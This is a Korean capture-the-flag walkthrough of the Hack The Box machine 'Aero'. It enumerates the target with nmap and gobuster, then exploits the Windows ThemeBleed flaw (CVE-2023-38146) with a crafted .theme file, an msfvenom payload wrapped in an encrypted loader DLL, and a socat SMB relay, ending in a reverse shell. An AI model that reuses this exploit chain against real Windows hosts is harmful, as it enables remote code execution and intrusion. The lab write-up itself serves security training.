Security

Hack The Box Aero

Hack The Box Aero

1. nmap

Copy
nmap -sC -sV -oA nmap/aero 10.10.11.237

-sC: Nmap 스크립트 엔진을 사용하여 서비스 및 운영 체제 식별을 시도합니다.
이것은 목표 호스트에서 실행 중인 서비스 및 응용 프로그램에 대한 자동 스캐닝 스크립트를 실행합니다.
-sV: 버전 감지를 활성화하며, 목표 호스트에서 실행 중인 서비스의 버전 정보를 가져옵니다.
-oA nmap/aero: 스캔 결과를 출력 파일로 저장합니다.

nmap 으로 확인해 보면 http 웹서버가 돌아가는 것을 확인 할수 있다.

Test Image

파이어 폭스로 10.10.11.237 에 접속해 보자.

windows theme 파일을 upload 하는 페이지가 보인다.

2. gobuster

Copy
gobuster dir -u http://10.10.11.237 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt

Test Image

3. 윈도우 테마 취약점 (CVE-2023-38146)

gobuster 결과로 특별한 공격을 할수 없어 구글에서 “windows theme exploit” 을 검색하자.

CVE-2023-38146 (“ThemeBleed”)를 검색 할수 있다

github 에 ThemeBleed 관련 페이지가 있다.

ThemeBleed 바이너리를 윈도우 10 머신으로 가져오자.

Copy
.\ThemeBleed.exe make_theme 10.10.14.185 exploit.theme

10.10.14.185는 칼리 리눅스가 htb vpn에 연결된 ip 이다.

생성된 exploit.theme 파일을 칼리 리눅스로 업로드 하자.

윈도우 머신에서 ThemeBleed server를 실행하기 전에 윈도우 서비스를 관리자 권한으로 실행하자.

“server” 서비스를 사용안함으로 변경하자.

재부팅 해야 한다.

target 서버는 smb 를 통해 exploit.theme 에 지정된 서버에 dll을 호출 하므로 smb 서버를 중지해야 된다.

칼리 리눅스에서 msfvenom 으로 8443.bin을 준비하자.

이때 lhost 는 10.10.14.185 으로 하면 된다.

암호화 과정을 거쳐 VerifyVersionTheme.dll을 만들자.

Copy
python aes_auto.py 8443.bin 
x86_64-w64-mingw32-g++ --static --shared new_loader.cpp -o VerifyThemeVersion.dll -fpermissive

VerifyThemeVersion.dll 파일이 VerifyThemeVersion을 export 하는지 확인 하자.

Copy
python3  -m pefile exports VerifyThemeVersion.dll

- m pefile: -m 옵션은 Python 모듈을 실행할 때 사용되며, pefile은 Python 모듈 이름입니다.
pefile 모듈은 Windows PE 형식의 실행 파일 및 라이브러리(DLL) 파일을 분석하고 조작하는 데 사용되는 유용한 도구입니다.

- exports VerifyThemeVersion.dll: 이 부분은 pefile 모듈에 전달되는 명령어 또는 인수입니다.
이 부분은 exports 명령어와 함께 abc.dll이라는 파일을 인수로 전달하고 있습니다.
이 명령어는 VerifyThemeVersionabc.dll 파일에서 내보내기 정보를 추출하는 작업을 수행하도록 합니다.
내보내기 정보는 DLL 파일이 외부 프로그램에서 사용할 수 있는 함수와 데이터를 나열한 것입니다.

따라서 이 명령어를 실행하면 Python3를 사용하여 pefile 모듈을 호출하고, VerifyThemeVersion.dll 파일에서 내보내기 정보를 추출하는 작업을 수행할 것입니다.
추출된 정보에는 DLL 파일에서 사용 가능한 함수와 데이터에 대한 세부 정보가 포함될 것입니다.

VerifyThemeVersion.dll 을 윈도우 머신으로 가져와서 ThemeBleed > data 폴더로 가져오자.

stage_3 파일을 VerifyThemeVersion.dll 로 바꾸고 파일 이름을 stage_3 으로 변경하자.

BleedTheme 서버를 실행하기 전에 445 포트를 확인해 보자.

Copy
netstat -an | findstr 445

-a: 모든 연결 (리스닝 및 비리스닝 포함)을 표시합니다.
-n: 주소를 숫자 형식으로 표시합니다. 호스트 이름 대신 IP 주소를 사용합니다.

이제 ThemeBleed server를 실행하자.

Copy
.\ThemeBleed.exe server


htb 10.10.11.237 서버에서 칼리로 오는 트래픽을 ThemeBleed 서버가 있는 windows pc 로 전송한다.
Copy
socat TCP-LISTEN:445,fork,reuseaddr TCP:192.168.50.69:445

칼리 에서 msfconsole 을 실행하자.

칼리 파이어 폭스에서 10.10.11.237 에 접속하고 exploit.theme 파일을 업로드 하자.

windows 머신에 ThemeBleed server 가 VerifyVersionTheme.dll 을 호출 하고 칼리 리눅스에서 reverse shell 이 연결되는 것을 확인 할수 있다.

Reference